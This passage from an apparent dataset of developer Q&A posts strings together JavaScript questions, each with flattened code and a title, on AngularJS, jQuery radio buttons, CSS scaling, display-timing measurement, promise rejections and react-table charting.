/*3*/ phonecatControllers.controller ( 'PhoneDetailCtrl ' , [ ' $ scope ' , ' $ routeParams ' , 'Phone ' , /*4*/ function ( $ scope , $ routeParams , Phone ) { /*5*/ ... /*6*/ } ) ; /*7*/ /*8*/ } ] ) ;",AngularJS module dependencies - clarification ? "JS : I need one help . I need to check radio button as per value by taking the id and validate those using Javascript/Jquery . I am explaining my code below.Here i have 3 set of radio button and when user will click on set button the radio button should check as per given value in a loop . the scripting part is given below.but in this current case its not happening .When user will also click on validate button , it should verify all radio button is checked or not.Please help me . < div > < input type= '' radio '' name= '' rd0 '' value= '' 57db18 '' > Raj < input type= '' radio '' name= '' rd0 '' value= '' 57da17 '' > Rahul < input type= '' radio '' name= '' rd0 '' value= '' 57db19 '' > Mona < /div > < br > < br > < div > < input type= '' radio '' name= '' rd1 '' value= '' 57db18 '' > A < input type= '' radio '' name= '' rd1 '' value= '' 57da17 '' > B < input type= '' radio '' name= '' rd1 '' value= '' 57db19 '' > C < /div > < br > < br > < div > < input type= '' radio '' name= '' rd2 '' value= '' 57db18 '' > Apple < input type= '' radio '' name= '' rd2 '' value= '' 57da17 '' > Orange < input type= '' radio '' name= '' rd2 '' value= '' 57db19 '' > Mango < /div > < span > < button type= '' button '' id= '' btn '' name= '' btn '' onclick= '' setValue ( ) '' > Set < /button > < /span > < span > < button type= '' button '' id= '' vbtn '' name= '' vbtn '' onclick= '' validateRadioButtonValue ( ) '' > Validate < /button > < /span > var valu = [ '57da17 ' , '57db18 ' , '57db19 ' ] ; function setValue ( ) { for ( var i=0 ; i < valu.length ; i++ ) { $ ( ' # rd'+i+ ' [ value= '' ' + valu [ i ] + ' '' ] ' ) .prop ( 'checked ' , true ) ; console.log ( 'checked btn ' , $ ( ' # rd'+i ) .is ( ' : checked ' ) ) ; } }",Failed to check radio button as per value and need to validate using Javascript/Jquery "JS : So I have a container that I want to scale up and down ( zoom in and out ) but to also have its expanded/shrunk form to take up space rather than just overlapping other stuff . UpdateThere is an image with which there are absolute divs that are placed in coordinates , they must retain their relative positions when sizing up and down ( hence why I 'm using scale ) .Would rather not have third party libraries ( beside jQuery ) but may consider . var b = document.getElementById ( `` outer '' ) ; var scale = 1 ; function increase ( ) { scale += 0.1 b.style.transform = ` scale ( $ { scale } ) ` ; } function decrease ( ) { scale -= 0.1 b.style.transform = ` scale ( $ { scale } ) ` ; } # outer { overflow-x : auto position : relative ; transform-origin : left top ; } .pointer { width : 20px ; height : 20px ; background-color : orange ; position : absolute ; } # a1 { top : 50px ; left : 150px ; } # a2 { top : 150px ; left : 50px ; } # a3 { top : 250px ; left : 550px ; } < div > < button onclick= '' increase ( ) '' > Increase < /button > < button onclick= '' decrease ( ) '' > Decrease < /button > < /div > < div id=outer > < img src= '' http : //via.placeholder.com/600x350 '' / > < div id= '' a1 '' class='pointer ' > < /div > < div id= '' a2 '' class='pointer ' > < /div > < div id= '' a3 '' class='pointer ' > < /div > < /div > < div > please do n't cover me < /div >",How to scale so that container also grows and takes up space "JS : I want to create an stylesheet like this : But it seems that IE needs its own syntax . To simplify this answer 's code , I have triedBut that throws ReferenceError : invalid assignment left-hand side.Then , must I use ... ... or is there a simpler alternative ? var sheet = document.createElement ( 'style ' ) ; sheet.type = 'text/css ' ; sheet.innerHTML = data.style ; var sheet = document.createElement ( 'style ' ) ; sheet.type = 'text/css ' ; ( sheet.styleSheet ? sheet.styleSheet.cssText : sheet.innerHTML ) = data.style ; var sheet = document.createElement ( 'style ' ) ; sheet.type = 'text/css ' ; if ( sheet.styleSheet ) sheet.styleSheet.cssText = data.style ; else sheet.innerHTML = data.style ;",Invalid assignment left-hand side with ternary if "JS : For a reaction time study ( see also this question if you 're interested ) we want to control and measure the display time of images . We 'd like to account for the time needed to repaint on different users ' machines.Edit : Originally , I used only inline execution for timing , and thought I could n't trust it to accurately measure how long the picture was visible on the user 's screen though , because painting takes some time.Later , I found the event `` MozAfterPaint '' . It needs a configuration change to run on users ' computers and the corresponding WebkitAfterPaint did n't make it . This means I ca n't use it on users ' computers , but I used it for my own testing . I pasted the relevant code snippets and the results from my tests below.I also manually checked results with SpeedTracer in Chrome . Results from comparing the durations measured using MozAfterPaint and inline execution.This does n't make me too happy . First , the median display duration is about 30ms shorter than I 'd like . Second , the variance using MozAfterPaint is pretty large ( and bigger than for inline execution ) , so I ca n't simply adjust it by increasing the setTimeout by 30ms . Third , this is on my fairly fast computer , results for other computers might be worse.Results from SpeedTracerThese were better . The time an image was visible was usually within 4 ( sometimes ) 10 ms of the intended duration . It also looked like Chrome accounted for the time needed to repaint in the setTimeout call ( so there was a 504ms difference between the call , if the image needed to repaint ) . Unfortunately , I was n't able to analyse and plot results for many trials in SpeedTracer , because it only logs to console . I 'm not sure whether the discrepancy between SpeedTracer and MozAfterPaint reflects differences in the two browsers or something that is lacking in my usage of MozAfterPaint ( I 'm fairly sure I interpreted the SpeedTracer output correctly ) .QuestionsI 'd like to knowHow can I measure the time it was actually visible on the user 's machine or at least get comparable numbers for a set of different browsers on different testing computers ( Chrome , Firefox , Safari ) ? Can I offset the rendering & painting time to arrive at 500ms of actual visibility ? If I have to rely on a universal offset , that would be worse , but still better than showing the images for such a short duration that the users do n't see them consciously on somewhat slow computers.We use setTimeout . I know about requestAnimationFrame but it does n't seem like we could obtain any benefits from using it : The study is supposed to be in focus for the entire duration of the study and it 's more important that we get a +/-500ms display than a certain number of fps . Is my understanding correct ? Obviously , Javascript is not ideal for this , but it 's the least bad for our purposes ( the study has to run online on users ' own computers , asking them to install something would scare some off , Java is n't bundled in Mac OS X browsers anymore ) .We 're allowing only current versions of Safari , Chrome , Firefox and maybe MSIE ( feature detection for performance.now and fullscreen API , I have n't checked how MSIE does yet ) at the moment . // from the loop pre-rendering images for faster displayvar imgdiv = $ ( ' < div class= '' trial_images '' id= '' trial_images_'+i+ ' '' style= '' display : none '' > < img class= '' top '' src= '' ' + toppath + ' '' > < br > < img class= '' bottom '' src= '' '+ botpath + ' '' > < /div > ' ) ; Session.imgs [ i ] = imgdiv.append ( botimg ) ; $ ( ' # trial ' ) .append ( Session.imgs ) ; // in Trial.showImages $ ( window ) .one ( 'MozAfterPaint ' , function ( ) { Trial.FixationHidden = performance.now ( ) ; } ) ; $ ( ' # trial_images_'+Trial.current ) .show ( ) ; // this would cause reflows , but I 've since changed it to use the visibility property and absolutely positioned images , to minimise reflowsTrial.ImagesShown = performance.now ( ) ; Session.waitForNextStep = setTimeout ( Trial.showProbe , 500 ) ; // 500ms // in Trial.showProbe $ ( window ) .one ( 'MozAfterPaint ' , function ( ) { Trial.ImagesHidden = performance.now ( ) ; } ) ; $ ( ' # trial_images_'+Trial.current ) .hide ( ) ; Trial.ProbeShown = performance.now ( ) ; // show Probe etc ...",Control and measure precisely how long an image is displayed "JS : I have a simple HTML canvaswith styleand scriptIt seems that I can not use the helper option where i want to keep a copy of the circle at the original position when i drag it around . The draggable will work only if i remove the helper option . This only happened to canvas , not if I draw the circle using css . Fiddle is here . Thanks ! < div class='circle ' > < canvas id= '' myCanvas '' width= '' 100 '' height= '' 100 '' > Your browser does not support the HTML5 canvas tag. < /canvas > < /div > .circle { height : auto ; width : auto ; } var c = document.getElementById ( `` myCanvas '' ) ; var ctx = c.getContext ( `` 2d '' ) ; ctx.beginPath ( ) ; ctx.arc ( 50 , 50 , 50 , 0 , 2 * Math.PI ) ; ctx.fill ( ) ; $ ( '.circle ' ) .draggable ( { helper : 'clone ' // Remove this line to make it draggable } ) ;",How to drag a canvas with helper 'clone ' ? "JS : Basically my angular code looks like this The json data from server looks like thisI am trying to display the loop from the result in my front end , which isnt working var myapp = angular.module ( `` Demo '' , [ `` ngRoute '' ] ) .config ( function ( $ routeProvider ) { $ routeProvider .when ( `` /students '' , { templateUrl : `` templates/students.html '' , controller : `` grouplistcontroller '' } ) } ) .controller ( `` grouplistcontroller '' , function ( $ scope , $ http ) { $ http.get ( `` ajaxfunction.php ? action=getlist '' ) .then ( function ( res ) { var obj = JSON.stringify ( res ) ; console.log ( obj ) ; $ scope.students = obj.data ; } ) ; } ) ; `` data '' : [ { `` sub_id '' : '' 1199 '' , '' sub_group '' : '' GT '' } , { `` sub_id '' : '' 727 '' , '' sub_group '' : '' GT '' } , { `` sub_id '' : '' 660 '' , '' sub_group '' : '' GT '' } , { `` sub_id '' : '' 614 '' , '' sub_group '' : '' GT '' } ] , '' status '' :200 , '' config '' : { `` method '' : '' GET '' , '' transformRequest '' : [ null ] , '' transformResponse '' : [ null ] , '' url '' : '' ajaxfunction.php ? action=getlist '' , '' headers '' : { `` Accept '' : '' application/json , text/plain , */* '' } } , '' statusText '' : '' OK '' < ul > < li ng-repeat= '' student in students '' > { { student.sub_id } } < /li > < /ul >",Angularjs displaying ajax response "JS : I m actually trying to work with both coffeescript and typescript in the same project . In fact , I want to be able to chose which one I prefer when coding.The fact is that the javascript generated by typescript does n't seem to work as expected with the javascript generated with coffeescript Explanation : I wrote a Controller class with coffeescript which works perfectly when I extend it in a coffeescript file like below : But when I try to use it with typescript like below : I got an error telling me that the controller cant be find at the expected place ( the .js file is well generated ) Can you help me ? Controller = require ( '../node_modules/Controller/Controller ' ) class HelloController extends Controller indexAction : ( name ) = > console.log 'hey '+ namemodule.exports = HelloController import Controller = require ( '../node_modules/Controller/Controller ' ) ; export class HelloController extends Controller { constructor ( ) { super ( ) } indexAction ( name : String ) { console.log ( 'hey '+name ) ; } }",Using both coffeescript and typescript on the same project "JS : I 'm attempting to automate the path of a user via UI Automation . Ideally , the user location in an MKMapView would update according to the list of waypoints I 've explicated in the automation script : The location portion applies without issue , and the user 's indicator moves along the path . However , the course option does n't seem to be doing anything . I 've tried 90 , 180 , -90 , 3.14 , and 1.57 as values for the option , to no avail.I 've also tried adding in the speed : 8 parameter to options , with no change.Seeing as how this appears to be the only way to simulate headings at all , and that the course option is totally valid and documented , it 's frustrating that it is n't working.Annoying hacky workaround : If you simulation location ( via GPX file ) , on the physical device , the device 's rotation works . This way you can simulate a route and get rotation . var target = UIATarget.localTarget ( ) ; var waypoints = [ { location : { latitude : 37.33170 , longitude : -122.03020 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03022 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03025 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03027 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03030 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03032 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03035 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03037 } , options : { course : 180 } } , { location : { latitude : 37.33170 , longitude : -122.03040 } , options : { course : 180 } } ] ; for ( var waypointIndex = 0 ; waypointIndex < waypoints.length ; waypointIndex++ ) { if ( waypointIndex == 0 ) target.delay ( 5 ) ; var waypoint = waypoints [ waypointIndex ] ; target.setLocationWithOptions ( waypoint.location , waypoint.options ) ; target.delay ( 1 ) ; if ( waypointIndex == ( waypoints.length - 1 ) ) waypointIndex = 0 ; }",UIATarget.setLocationWithOptions course not applying "JS : I am trying to wrap text in a div using css and/or jQuery such that the bottom line is the longest.so rather thanit would say I can easily wrap the text using But i ca n't find anything that would let me do this . ( one thought i had would be to reverse the text , find where the line wrapping happens , apply a < br/ > in the same places , with the text going forward.. but i dont know how to check where the line wraps ) __________|this is ||text ||________| __________|this ||is text ||________| white-space : pre-wrap ;",jquery/css wrap text bottom up JS : I 'm using getUseMedia function in my app . Every time I open Firefox permission popup appears . There is no always allow option.According to the Bugzilla the feature is already implemented at Firefox 30 - current version is 43.I 'm using getUserMedia like this : Is it right ? Why I ca n't select allow always option ? navigator.getUserMedia = ( navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia ) ;,Why there is no `` always allow '' option in Firefox when using ` getUserMedia ` ? "JS : I am running a script to show a notification within a menu with scroll , but I do not know how to detect if the device has orientation landscape to validate the script.The call onClick= '' VerHayMas ( ) ; '' works perfectly , but if the user open the menu once , clicking on # boton-menu and with your device in portrait , after changing the orientation to landscape the script no longer meet the objective . The script has its logic ONLY if the device is in landscape , which is when the menu needs to show the notification.So , is it possible that my script is only valid with ( max-width:999px ) and ( orientation : landscape ) , ignoring the portrait ... ? I am a beginner in JS , and I do not know how to do it , really.Any idea ? Thanks in advance ! HTML & CSSScript : EDIT : I have tried with the following script , but it does not work . If the user makes a call to onClick= '' VerHayMas ( ) ; '' in portrait mode , the script is no longer running in landscape mode.What am I doing wrong here ? # mas-menu { display : none } < div id= '' boton-menu '' onClick= '' VerHayMas ( ) ; '' > + < /div > var clicksVerHayMas = 0 ; function VerHayMas ( ) { clicksVerHayMas = clicksVerHayMas + 1 ; if ( clicksVerHayMas == 1 ) { document.getElementById ( 'mas-menu ' ) .style.display = 'block ' ; window.setTimeout ( function ( ) { $ ( ' # mas-menu ' ) .fadeOut ( 'slow ' ) ; } , 4000 ) ; } } ; const matchesMediaQuery = window.matchMedia ( ' ( max-width:999px ) and ( orientation : landscape ) ' ) .matches ; if ( matchesMediaQuery ) { var clicksVerHayMas = 0 ; function VerHayMas ( ) { clicksVerHayMas = clicksVerHayMas +1 ; if ( clicksVerHayMas == 1 ) { document.getElementById ( 'mas-menu ' ) .style.display = 'block ' ; window.setTimeout ( function ( ) { $ ( ' # mas-menu ' ) .fadeOut ( 'slow ' ) ; } ,4000 ) ; } } ; }",Javascript - Run my script only if landscape is detected "JS : To check if an element is an array in JavaScript , I have always used Crockford 's function ( pg 61 of The Good Parts ) : But if I 'm not mistaken , recently some guy from Google had found a new way on how to test for a JavaScript array , but I just ca n't remember from where I read it and how the function went.Can anyone point me to his solution please ? [ Update ] The person from Google who apparently discovered this is called Mark Miller.Now I 've also read that from this post that his solution can easily break as well : So , I ask , is there any way that we can truly check for array validity ? var is_array = function ( value ) { return value & & typeof value === 'object ' & & typeof value.length === 'number ' & & typeof value.splice === 'function ' & & ! ( value.propertyIsEnumerable ( 'length ' ) ) ; } // native prototype overloaded , some js libraries extends themObject.prototype.toString= function ( ) { return ' [ object Array ] ' ; } function isArray ( obj ) { return Object.prototype.toString.call ( obj ) === ' [ object Array ] ' ; } var a = { } ; alert ( isArray ( a ) ) ; // returns true , expecting false ;","Testing if the element is an array , in Javascript" "JS : There is a lot of advice out there that advises you to ensure that you do n't let any rejected promises go unhandled . If you do n't , the advices cautions , the errors will never be noticed , and will be completely swallowed . Nothing will be printed to the console.This advice seems to be out-of-date . Modern browsers and modern versions of Node do seem to print warnings when rejected promises are unhandled . Take this code : If you run this in Node , you will get : The standard advice is that the last line in the source code should look like this instead , to avoid swallowed errors : But it does n't look like that like was needed . So here are my questions : Is it true that modern browsers and modern Node will always show a warning for unhandled rejected promises ? What version numbers of the implementations support this ? ( Note that a browser does n't have to support the event unhandledrejection in order to print a warning when a promise is not handled . ) Do we need to make sure to have top-level catch functions as you would often get advised to do , or is it just as useful to let the implementation show a warning ? async function thisIsGoingToFail ( ) { await Promise.reject ( ) ; console.log ( 'this should not print , as the line above should error ' ) ; } async function main ( ) { await thisIsGoingToFail ( ) ; } main ( ) ; ( node:20760 ) UnhandledPromiseRejectionWarning : undefined ( node:20760 ) UnhandledPromiseRejectionWarning : Unhandled promise rejection . This error originated either by throwing inside of an async function without a catch block , or by rejecting a promise which was not handled with .catch ( ) . ( rejection id : 2 ) ( node:20760 ) [ DEP0018 ] DeprecationWarning : Unhandled promise rejections are deprecated . In the future , promise rejections that are not handled will terminate the Node.js process with a non-zero exit code . main ( ) .catch ( err = > { console.err ( err ) } ) ;",Do browsers still swallow unhandled rejected promises silently ? What about Node ? "JS : Using react-table , I can filter the data really well , but would like it to be more dynamicNow what I 'm struggling to complete is filtering the data in the graph , so that it 's more meaningful , partly by clumping products from singular brands together in one bar chart , and also by removing excess amounts of brands that make the information harder to understand.This is the Table component I am usingI would love some help in having the react-table filtered data being updated into the graph component above , dynamically or on a button push , and having the initial call be filtered to make it more usable.UpdateBrilliant code below , I am now getting this error : This is occuring when the data is grouped by the react-table function ( changing the values of the rows completely , by grouping the clicked on column ) .Thanks againNot all linked together , but should make it easy to understand how to solve this issue.Thanks so much ! import React from 'react'import { useTable , usePagination , useSortBy , useFilters , useGroupBy , useExpanded , useRowSelect , } from 'react-table ' import matchSorter from 'match-sorter ' // import makeData from '../example/makedata.js ' // Create an editable cell renderer const EditableCell = ( { value : initialValue , row : { index } , column : { id } , updateMyData , // This is a custom function that we supplied to our table instance editable , } ) = > { // We need to keep and update the state of the cell normally const [ value , setValue ] = React.useState ( initialValue ) const onChange = e = > { setValue ( e.target.value ) } // We 'll only update the external data when the input is blurred const onBlur = ( ) = > { updateMyData ( index , id , value ) } // If the initialValue is changed externall , sync it up with our state React.useEffect ( ( ) = > { setValue ( initialValue ) } , [ initialValue ] ) if ( ! editable ) { return ` $ { initialValue } ` } return < input value= { value } onChange= { onChange } onBlur= { onBlur } / > } // Define a default UI for filtering function DefaultColumnFilter ( { column : { filterValue , preFilteredRows , setFilter } , } ) { const count = preFilteredRows.length return ( < input value= { filterValue || `` } onChange= { e = > { setFilter ( e.target.value || undefined ) // Set undefined to remove the filter entirely } } placeholder= { ` Search $ { count } records ... ` } / > ) } // This is a custom filter UI for selecting // a unique option from a list function SelectColumnFilter ( { column : { filterValue , setFilter , preFilteredRows , id } , } ) { // Calculate the options for filtering // using the preFilteredRows const options = React.useMemo ( ( ) = > { const options = new Set ( ) preFilteredRows.forEach ( row = > { options.add ( row.values [ id ] ) } ) return [ ... options.values ( ) ] } , [ id , preFilteredRows ] ) // Render a multi-select box return ( < select value= { filterValue } onChange= { e = > { setFilter ( e.target.value || undefined ) } } > < option value= '' '' > All < /option > { options.map ( ( option , i ) = > ( < option key= { i } value= { option } > { option } < /option > ) ) } < /select > ) } // This is a custom filter UI that uses a // slider to set the filter value between a column 's // min and max values function SliderColumnFilter ( { column : { filterValue , setFilter , preFilteredRows , id } , } ) { // Calculate the min and max // using the preFilteredRows const [ min , max ] = React.useMemo ( ( ) = > { let min = preFilteredRows.length ? preFilteredRows [ 0 ] .values [ id ] : 0 let max = preFilteredRows.length ? preFilteredRows [ 0 ] .values [ id ] : 0 preFilteredRows.forEach ( row = > { min = Math.min ( row.values [ id ] , min ) max = Math.max ( row.values [ id ] , max ) } ) return [ min , max ] } , [ id , preFilteredRows ] ) return ( < > < input type= '' range '' min= { min } max= { max } value= { filterValue || min } onChange= { e = > { setFilter ( parseInt ( e.target.value , 10 ) ) } } / > < button onClick= { ( ) = > setFilter ( undefined ) } > Off < /button > < / > ) } // This is a custom UI for our 'between ' or number range // filter . It uses two number boxes and filters rows to // ones that have values between the two function NumberRangeColumnFilter ( { column : { filterValue = [ ] , preFilteredRows , setFilter , id } , } ) { const [ min , max ] = React.useMemo ( ( ) = > { let min = preFilteredRows.length ? preFilteredRows [ 0 ] .values [ id ] : 0 let max = preFilteredRows.length ? preFilteredRows [ 0 ] .values [ id ] : 0 preFilteredRows.forEach ( row = > { min = Math.min ( row.values [ id ] , min ) max = Math.max ( row.values [ id ] , max ) } ) return [ min , max ] } , [ id , preFilteredRows ] ) return ( < div style= { { display : 'flex ' , } } > < input value= { filterValue [ 0 ] || `` } type= '' number '' onChange= { e = > { const val = e.target.value setFilter ( ( old = [ ] ) = > [ val ? parseInt ( val , 10 ) : undefined , old [ 1 ] ] ) } } placeholder= { ` Min ( $ { min } ) ` } style= { { width : '70px ' , marginRight : ' 0.5rem ' , } } / > to < input value= { filterValue [ 1 ] || `` } type= '' number '' onChange= { e = > { const val = e.target.value setFilter ( ( old = [ ] ) = > [ old [ 0 ] , val ? parseInt ( val , 10 ) : undefined ] ) } } placeholder= { ` Max ( $ { max } ) ` } style= { { width : '70px ' , marginLeft : ' 0.5rem ' , } } / > < /div > ) } function fuzzyTextFilterFn ( rows , id , filterValue ) { return matchSorter ( rows , filterValue , { keys : [ row = > row.values [ id ] ] } ) } // Let the table remove the filter if the string is empty fuzzyTextFilterFn.autoRemove = val = > ! val // Be sure to pass our updateMyData and the skipReset option function Table ( { columns , data , updateMyData , skipReset } ) { const td_header = `` px-4 py-2 '' const td_style = `` border px-4 py-2 '' const filterTypes = React.useMemo ( ( ) = > ( { // Add a new fuzzyTextFilterFn filter type . fuzzyText : fuzzyTextFilterFn , // Or , override the default text filter to use // `` startWith '' text : ( rows , id , filterValue ) = > { return rows.filter ( row = > { const rowValue = row.values [ id ] return rowValue ! == undefined ? String ( rowValue ) .toLowerCase ( ) .startsWith ( String ( filterValue ) .toLowerCase ( ) ) : true } ) } , } ) , [ ] ) const defaultColumn = React.useMemo ( ( ) = > ( { // Let 's set up our default Filter UI Filter : DefaultColumnFilter , // And also our default editable cell Cell : EditableCell , } ) , [ ] ) // Use the state and functions returned from useTable to build your UI const { getTableProps , getTableBodyProps , headerGroups , prepareRow , page , // Instead of using 'rows ' , we 'll use page , // which has only the rows for the active page // The rest of these things are super handy , too ; ) canPreviousPage , canNextPage , pageOptions , pageCount , gotoPage , nextPage , previousPage , setPageSize , state : { pageIndex , pageSize , sortBy , groupBy , expanded , filters , selectedRowIds , } , } = useTable ( { columns , data , defaultColumn , filterTypes , // updateMyData is n't part of the API , but // anything we put into these options will // automatically be available on the instance . // That way we can call this function from our // cell renderer ! updateMyData , // We also need to pass this so the page does n't change // when we edit the data . autoResetPage : ! skipReset , autoResetSelectedRows : ! skipReset , disableMultiSort : true , } , useFilters , useGroupBy , useSortBy , useExpanded , usePagination , useRowSelect , // Here we will use a plugin to add our selection column hooks = > { hooks.visibleColumns.push ( columns = > { return [ { id : 'selection ' , // Make this column a groupByBoundary . This ensures that groupBy columns // are placed after it groupByBoundary : true , // The header can use the table 's getToggleAllRowsSelectedProps method // to render a checkbox Header : ( { getToggleAllRowsSelectedProps } ) = > ( < div > < IndeterminateCheckbox { ... getToggleAllRowsSelectedProps ( ) } / > < /div > ) , // The cell can use the individual row 's getToggleRowSelectedProps method // to the render a checkbox Cell : ( { row } ) = > ( < div > < IndeterminateCheckbox { ... row.getToggleRowSelectedProps ( ) } / > < /div > ) , } , ... columns , ] } ) } ) // Render the UI for your table return ( < > < table className= '' w-full text-md bg-white shadow-md rounded mb-4 '' { ... getTableProps ( ) } > < thead > { headerGroups.map ( headerGroup = > ( < tr { ... headerGroup.getHeaderGroupProps ( ) } > { headerGroup.headers.map ( column = > ( < th className= { td_header } { ... column.getHeaderProps ( ) } > < div > { column.canGroupBy ? ( // If the column can be grouped , let 's add a toggle < span { ... column.getGroupByToggleProps ( ) } > { column.isGrouped ? 'Click to Un-Group Click to Sort ! ' : ' Click to Group Click to Sort ! ' } < /span > ) : null } < span { ... column.getSortByToggleProps ( ) } > { column.render ( 'Header ' ) } { /* Add a sort direction indicator */ } { column.isSorted ? column.isSortedDesc ? ' ' : ' ' : `` } < /span > < /div > { /* Render the columns filter UI */ } < div > { column.canFilter ? column.render ( 'Filter ' ) : null } < /div > < /th > ) ) } < /tr > ) ) } < /thead > < tbody { ... getTableBodyProps ( ) } > { page.map ( row = > { prepareRow ( row ) return ( < tr { ... row.getRowProps ( ) } > { row.cells.map ( cell = > { return ( < td className = { td_style } { ... cell.getCellProps ( ) } > { cell.isGrouped ? ( // If it 's a grouped cell , add an expander and row count < > < span { ... row.getToggleRowExpandedProps ( ) } > { row.isExpanded ? `` : `` } < /span > { ' ' } { cell.render ( 'Cell ' , { editable : false } ) } ( { row.subRows.length } ) < / > ) : cell.isAggregated ? ( // If the cell is aggregated , use the Aggregated // renderer for cell cell.render ( 'Aggregated ' ) ) : cell.isPlaceholder ? null : ( // For cells with repeated values , render null // Otherwise , just render the regular cell cell.render ( 'Cell ' , { editable : true } ) ) } < /td > ) } ) } < /tr > ) } ) } < /tbody > < /table > { /* Pagination can be built however you 'd like . This is just a very basic UI implementation : */ } < div className= '' pagination '' > < button onClick= { ( ) = > gotoPage ( 0 ) } disabled= { ! canPreviousPage } > { ' < < ' } < /button > { ' ' } < button onClick= { ( ) = > previousPage ( ) } disabled= { ! canPreviousPage } > { ' < ' } < /button > { ' ' } < button onClick= { ( ) = > nextPage ( ) } disabled= { ! canNextPage } > { ' > ' } < /button > { ' ' } < button onClick= { ( ) = > gotoPage ( pageCount - 1 ) } disabled= { ! canNextPage } > { ' > > ' } < /button > { ' ' } < span > Page { ' ' } < strong > { pageIndex + 1 } of { pageOptions.length } < /strong > { ' ' } < /span > < span > | Go to page : { ' ' } < input type= '' number '' defaultValue= { pageIndex + 1 } onChange= { e = > { const page = e.target.value ? Number ( e.target.value ) - 1 : 0 gotoPage ( page ) } } style= { { width : '100px ' } } / > < /span > { ' ' } < select value= { pageSize } onChange= { e = > { setPageSize ( Number ( e.target.value ) ) } } > { [ 10 , 20 , 30 , 40 , 50 ] .map ( pageSize = > ( < option key= { pageSize } value= { pageSize } > Show { pageSize } < /option > ) ) } < /select > < /div > < pre > { /* < code > { JSON.stringify ( { pageIndex , pageSize , pageCount , canNextPage , canPreviousPage , sortBy , groupBy , expanded : expanded , filters , selectedRowIds : selectedRowIds , } , null , 2 ) } < /code > */ } < /pre > < / > ) } // Define a custom filter filter function ! function filterGreaterThan ( rows , id , filterValue ) { return rows.filter ( row = > { const rowValue = row.values [ id ] return rowValue > = filterValue } ) } // This is an autoRemove method on the filter function that // when given the new filter value and returns true , the filter // will be automatically removed . Normally this is just an undefined // check , but here , we want to remove the filter if it 's not a number filterGreaterThan.autoRemove = val = > typeof val ! == 'number ' // This is a custom aggregator that // takes in an array of leaf values and // returns the rounded median function roundedMedian ( leafValues ) { let min = leafValues [ 0 ] || 0 let max = leafValues [ 0 ] || 0 leafValues.forEach ( value = > { min = Math.min ( min , value ) max = Math.max ( max , value ) } ) return Math.round ( ( min + max ) / 2 ) } const IndeterminateCheckbox = React.forwardRef ( ( { indeterminate , ... rest } , ref ) = > { const defaultRef = React.useRef ( ) const resolvedRef = ref || defaultRef React.useEffect ( ( ) = > { resolvedRef.current.indeterminate = indeterminate } , [ resolvedRef , indeterminate ] ) return ( < > < input type= '' checkbox '' ref= { resolvedRef } { ... rest } / > < / > ) } ) export default Table Uncaught TypeError : Can not read property 'Price ' of undefined at stackValue ( stack.js:7 ) at stack ( stack.js:26 ) at generateVerticalStackedBars ( nivo-bar.esm.js:212 ) at generateStackedBars ( nivo-bar.esm.js:343 ) at Bar ( nivo-bar.esm.js:809 ) at renderWithHooks ( react-dom.development.js:14803 ) at updateFunctionComponent ( react-dom.development.js:17034 ) at beginWork ( react-dom.development.js:18610 ) at HTMLUnknownElement.callCallback ( react-dom.development.js:188 ) at Object.invokeGuardedCallbackDev ( react-dom.development.js:237 ) at invokeGuardedCallback ( react-dom.development.js:292 ) at beginWork $ 1 ( react-dom.development.js:23203 ) at performUnitOfWork ( react-dom.development.js:22154 ) at workLoopSync ( react-dom.development.js:22130 ) at performSyncWorkOnRoot ( react-dom.development.js:21756 ) at react-dom.development.js:11089 at unstable_runWithPriority ( scheduler.development.js:653 ) at runWithPriority $ 1 ( react-dom.development.js:11039 ) at flushSyncCallbackQueueImpl ( react-dom.development.js:11084 ) at flushSyncCallbackQueue ( react-dom.development.js:11072 ) at discreteUpdates $ 1 ( react-dom.development.js:21893 ) at discreteUpdates ( react-dom.development.js:806 ) at dispatchDiscreteEvent ( react-dom.development.js:4168 ) index.js:1 The above error occurred in the < Bar > component : in Bar ( created by pure ( Bar ) ) in pure ( Bar ) ( created by withPropsOnChange ( pure ( Bar ) ) ) in withPropsOnChange ( pure ( Bar ) ) ( created by withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) in withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ( created by withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) in withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ( created by withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) in withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ( created by withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) in withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ( created by withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) in withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ( created by withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) in withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ( created by withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) in withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ( created by defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( 